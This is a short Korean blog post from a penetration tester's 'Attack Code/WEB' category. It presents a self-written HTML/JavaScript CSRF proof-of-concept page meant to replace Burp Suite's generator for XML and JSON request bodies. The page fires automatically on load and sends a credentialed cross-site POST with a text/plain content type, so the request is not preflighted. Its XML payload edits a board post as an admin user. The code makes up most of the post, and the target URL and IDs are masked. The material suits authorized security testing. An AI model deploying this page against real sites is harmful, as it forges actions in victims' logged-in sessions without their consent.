Everything is hacked.

There is no 100 % security.

Attack Code/WEB

XML/JSON Request Of CSRF

Kai_HT 2025. 1. 23. 14:28

https://velog.io/@dnjscksdn98/Network-CSRF%EB%9E%80

취약점 점검 시, 취약점 항목인 CSRF 에 대해 확인하는 경우가 존재한다.
해당 취약점에 대해서 CORS 나 tokken 을 사용하지 않는 경우 확인해보고는 하는데, 이때 Burpsuite Pro 의 기능인 CSRF Poc Generate 를 이용하면 되지만 해당 기능을 이용하면 한글 깨짐 문제도 존재하고 JSON 이나 XML 형태의 요청 값을 전달하는 경우 굉장히 난감한 경우가 생기기 떄문에 보다 편하게 사용할 수 있도록 JSON 및 XML 형식 데이터를 보낼 수 있는 코드를 작성했다.

<html>
<head>
    <title>CSRF Test</title>
</head>
<body>
<p>
	CSRF Testing (Use Javascript)
</p>
	
    <script>
    function sendRequest() {
        var xhr = new XMLHttpRequest();
        var url = '[마스킹된_URL]';
        var data = '<?xml version="1.0" encoding="UTF-8"?>
<Root xmlns="[마스킹된_URL]">
    <Parameters>
        <Parameter id="L-VISITOR"></Parameter>
        <Parameter id="LENA-UID"></Parameter>
        <Parameter id="SCOUTER"></Parameter>
        <Parameter id="ACT_PARAM">updateSvcSave</Parameter>
        <Parameter id="MENUCODE">ABC381310</Parameter>
        <Parameter id="APPCODE">ABC</Parameter>
        <Parameter id="USERID">[마스킹된_사용자ID]</Parameter>
        <Parameter id="LANG">KO</Parameter>
        <Parameter id="WCODE">[마스킹된_WCODE]</Parameter>
        <Parameter id="LOGWRITE_YN">Y</Parameter>
    </Parameters>
    <Dataset id="ds_in">
        <ColumnInfo>
            <Column id="BD_NO" type="bigdecimal" size="39" />
            <Column id="BD_CONTENT" type="string" size="2000" />
            <Column id="BD_USER_ID" type="string" size="50" />
            <Column id="BD_SUBJ" type="string" size="200" />
            <Column id="BD_REG_DATE" type="string" size="10" />
            <Column id="BD_SRCH_CNT" type="bigdecimal" size="39" />
            <Column id="BD_FILE_ID" type="string" size="150" />
            <Column id="BD_FILE_NM" type="string" size="100" />
        </ColumnInfo>
        <Rows>
            <Row>
                <Col id="BD_NO">10064</Col>
                <Col id="BD_CONTENT">CSRF Test.</Col>
                <Col id="BD_USER_ID">admin</Col>
                <Col id="BD_SUBJ">[Security] Penetration Testing Board</Col>
                <Col id="BD_REG_DATE">2000-00-00</Col>
                <Col id="BD_SRCH_CNT">17</Col>
            </Row>
        </Rows>
    </Dataset>
    <Dataset id="inputFile">
        <ColumnInfo>
            <Column id="BD_FILE_NM" type="STRING" size="256" prop="default" />
            <Column id="BD_FILE_PATH" type="BLOB" size="256" prop="default" />
        </ColumnInfo>
        <Rows>
        </Rows>
    </Dataset>
</Root>';

        xhr.open('POST', url, true);
        xhr.setRequestHeader('Content-Type', 'text/plain');
        xhr.withCredentials = true;
        xhr.send(data);
    }

    history.pushState('', '', '/');
    sendRequest();
    </script>
</body>
</html>

해당 코드는 대상 페이지 내 데이터를 XML 형태의 요청하는 경우의 예제이며 <script> 태그 내 var 변수에 전달하려는 XML 본문이 작성된다.

'Attack Code > WEB' 카테고리의 다른 글

WebShell - Cheetsheat (asp)  (0) 2025.01.23
XXE Code in XLSX  (0) 2025.01.17
Web Editor Default Page Location  (0) 2023.08.24
Webshell - Cheetsheat (jsp/jspx)  (0) 2023.08.22
XSS Pattern  (0) 2023.08.22